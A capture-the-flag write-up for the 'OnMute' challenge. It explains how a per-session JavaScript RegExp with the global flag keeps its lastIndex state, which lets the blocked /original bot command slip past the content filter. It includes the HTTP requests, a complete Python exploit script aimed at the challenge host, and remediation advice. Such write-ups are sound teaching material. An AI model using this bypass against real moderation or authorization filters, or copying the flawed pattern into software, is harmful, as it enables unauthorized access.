$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A music service hides original lyrics behind a blocklisted bot command and reuses a per-session JavaScript global RegExp. Solution: Prime RegExp.lastIndex through the censor command, then request the original lyrics in the same session.
OnMute is a music platform whose strict honey-badger fanbase censors any hints of weakness, fear, tenderness, or politeness. One track supposedly contains a hidden insider reference that was also removed. Defeat censorship and recover the complete lyrics.
The service exposes censored songs and bot commands submitted through the track-comment API. The goal is to bypass moderation of the command that returns an uncensored track and recover the complete lyrics.
server/src/moderation/blocklist.js includes the literal command /original among the blocked expressions. Meanwhile, server/src/bot/commands.js parses /original <track_id> and passes the supplied ID to getOriginalText(). That model method reads the original field directly from Redis.
The comment route performs these operations in an unsafe order:
checkContent(text, sessionId).Therefore, making the content scan miss a command at index zero is enough to reach the original-text handler. No injection is required.
server/src/moderation/filter.js creates one RegExp object per session and gives it the flags gi:
re: new RegExp(pattern, 'gi')
The g flag makes JavaScript regular expressions stateful. After a successful exec() or test(), the object stores the position after the match in its mutable lastIndex property. The next operation on that same object starts scanning there instead of at offset zero. A failed global match resets lastIndex to zero, but that happens only after the attempted scan has already skipped the preceding characters.
Both moderation functions reuse this same per-session object:
while ((m = re.exec(text)) !== null) { violations.push({ match: m[0], index: m.index }); } return re.test(fragment);
checkContent() normally reaches a final failed exec() and returns the expression to offset zero. The flaw appears when /censor subsequently calls matchesPolicy() on a matching fragment: test() succeeds and returns immediately without resetting lastIndex.
The /censor <start> <end> command slices at most ten JavaScript characters from the currently displayed lyrics. Track 1 still contains the blocklisted word массаж at offsets [617, 623). Calling /censor 617 623 therefore tests exactly that six-character fragment.
The successful test() leaves the session's shared expression at lastIndex = 6. If /original 4 is sent immediately in the same cookie session, checkContent() begins at character 6. The forbidden token occupies characters 0 through 8, so it is never considered as a complete match. The scan fails, resets the state for later use, and returns an empty violation list. Command parsing then executes /original normally.
In a fresh session, send:
POST /api/tracks/4/comment Content-Type: application/json {"text":"/original 4"}
The response has ok: false, gives the reason Заблокировано фильтром контента, and reports /original at index 0. This proves that the command is blocked under ordinary state.
lastIndexUse a separate normal server-issued session and submit:
POST /api/tracks/1/comment Content-Type: application/json {"text":"/censor 617 623"}
The bot confirms that the selected fragment violates policy. Internally, the successful global test() advances the shared expression to offset 6.
Without replacing the cookie jar, submit:
POST /api/tracks/4/comment Content-Type: application/json {"text":"/original 4"}
This time the response has ok: true, identifies the executed command as /original, and returns the complete original lyrics. The final line contains the flag.
The script dynamically finds the priming offsets, demonstrates the fresh-session control, and performs the two-request exploit with one cookie jar:
#!/usr/bin/env python3 import http.cookiejar import json import urllib.request ORIGIN = "https://onmute-6f2vcrcn.avitoctf.ru" def new_session(): jar = http.cookiejar.CookieJar() opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(jar) ) return opener def request(opener, path, payload=None): body = None headers = {} method = "GET" if payload is not None: body = json.dumps(payload, ensure_ascii=False).encode() headers["Content-Type"] = "application/json" method = "POST" req = urllib.request.Request( ORIGIN + path, data=body, headers=headers, method=method ) with opener.open(req, timeout=15) as response: return json.load(response) # Differential control: ordinary state rejects the protected command. control = request( new_session(), "/api/tracks/4/comment", {"text": "/original 4"} ) assert control["ok"] is False assert control["violations"][0]["index"] == 0 # Exploit: both POST requests use this same server-issued cookie session. session = new_session() track = request(session, "/api/tracks/1") lyrics = track["track"]["text"] start = lyrics.index("массаж") end = start + len("массаж") prime = request( session, "/api/tracks/1/comment", {"text": f"/censor {start} {end}"}, ) assert prime["ok"] is True result = request( session, "/api/tracks/4/comment", {"text": "/original 4"} ) assert result["ok"] is True assert result["command"] == "/original" print(result["message"])
Cookie forgery is unnecessary because the application itself creates the session and binds the vulnerable regular-expression object to that session ID. SQL injection, command injection, and parser tricks are also irrelevant: the intended bot commands already provide both the state-changing primitive and the sensitive sink.
g or y flag across independent validation calls.re.lastIndex = 0 before and after every exec() and test() operation./original as a privileged operation and enforce authorization directly in its command handler. A content filter is not an authorization boundary.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar